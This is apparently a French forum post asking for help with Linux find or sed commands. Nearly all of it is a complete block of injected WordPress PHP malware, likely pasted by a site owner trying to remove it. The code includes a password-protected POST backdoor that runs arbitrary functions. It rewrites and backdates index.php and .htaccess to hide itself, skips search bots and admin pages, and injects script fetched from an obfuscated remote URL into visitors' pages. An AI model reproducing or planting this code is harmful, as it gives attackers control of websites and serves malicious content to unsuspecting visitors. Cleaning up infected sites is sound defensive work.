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| //istart
function my_time($dir) {
foreach (glob($dir . '/wp-*.php') as $f) {
$times[] = filemtime($f);
}
$max = 1;
for ($i = 0; $i < count($times) - 1; $i++) {
$k = 1;
for ($j = $i + 1; $j < count($times); $j++) {
if ($times[$i] == $times[$j]) {
$k++;
if ($k > $max) {
$max = $k;
$time = $times[$i];
}
}
}
}
return $time;
}
function my_correct($dir) {
$time = 0;
$path = $dir . '/index.php';
$content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==');
if (file_get_contents($path) != $content) {
chmod($path, 0644);
file_put_contents($path, $content);
chmod($path, 0444);
$time = my_time($dir);
touch($path, $time);
}
$path = $dir . '/.htaccess';
$content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==');
if (file_exists($path) AND file_get_contents($path) != $content) {
chmod($path, 0644);
file_put_contents($path, $content);
chmod($path, 0444);
if (!$time) {
$time = my_time($dir);
}
touch($path, $time);
}
}
$p = $_POST;
$_passssword = 'f8a615de2baafc38d3a12933039ca3f4';
if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');
my_correct(dirname(__FILE__) . '/..');
function request_url_data($url) {
if(!is_valid_url($url))
return false;
$site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
'Referer: ' . $site_url,
));
$response = trim(curl_exec($ch));
} elseif (function_exists('fsockopen')) {
$m = parse_url($url);
if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
'Host: ' . $m['host'] . "\r\n" .
'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
'Referer: ' . $site_url . "\r\n" .
'Connection: Close' . "\r\n\r\n");
$response = '';
while (!feof($fp)) {
$response .= fgets($fp, 1024);
}
list($headers, $response) = explode("\r\n\r\n", $response);
fclose($fp);
}
} else {
$response = 'curl_init and fsockopen disabled';
}
return $response;
}
error_reporting(0);
//unset($_passssword);
if (function_exists("add_action")) {
add_action('wp_head', 'add_2head');
add_action('wp_footer', 'add_2footer');
}
function add_2head() {
ob_start();
}
function is_valid_url(&$url)
{
if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m))
return false;
$url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
return true;
}
function add_2footer() {
$check = false;
$check_data = "";
if (!empty($_GET['check']) AND $_GET['check'] == 'f8a615de2baafc38d3a12933039ca3f4') {
$check = true;
$check_data = ('<!--checker_start ');
$check_data .= (substr(request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css'), 0, 100));
$check_data .= (' checker_end-->');
}
if (!$check) {
if ($_SERVER['REQUEST_METHOD'] != 'GET')
return;
if (!@$_SERVER['HTTP_USER_AGENT'] OR (substr($_SERVER['REMOTE_ADDR'], 0, 6) == '74.125') OR preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT']))
return;
$cookie_name = 'PHP_SESSION_PHP';
if (isset($_COOKIE[$cookie_name]))
return;
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
if (preg_match($regex, $_SERVER['REQUEST_URI']))
return;
}
}
$buffer = ob_get_clean();
ob_start();
$regexp = '/<body[^>]*>/is';
if (preg_match($regexp, $buffer, $m)) {
$body = $m[0];
// $url = base64_decode('a3d3czksLDE3Mi07Ni0xMS0xMjEsYW9sZCw8YmBmcSV2d25ccGx2cWBmPjc6Ojs6OTs1NDI0OzkyOjYy');
$url = decrypt_url('a3d3czksLDE3Mi07Ni0xMS0xMjEsYW9sZCw8YmBmcSV2d25ccGx2cWBmPjc6Ojs6OTs1NDI0OzkyOjYy');
// if (($code = request_url_data($url)) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
// $body .= '<script>var date = new Date(new Date().getTime() + 60*60*24*7*1000); document.cookie="' . $cookie_name . '=' . mt_rand(1, 1024) . '; path=/; expires="+date.toUTCString();</script>';
// $body .= base64_decode($m[0]);
$body .= $decoded;
// $body .= base64_decode($m[0]);
}
$body .= $check_data;
$buffer = preg_replace($regexp, $body, $buffer);
}
echo $buffer;
ob_flush();
}
function decrypt_url($encrypted_url)
{
$encrypted_url = base64_decode($encrypted_url);
$url = '';
for ($i = 0; $i < strlen($encrypted_url); $i++)
{
$url .= chr(ord($encrypted_url[$i]) ^ 3);
}
return $url;
}//iend |
Aide sur commande Shell linux find ou sed
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Envoyé par disedorgue
(je modifie)
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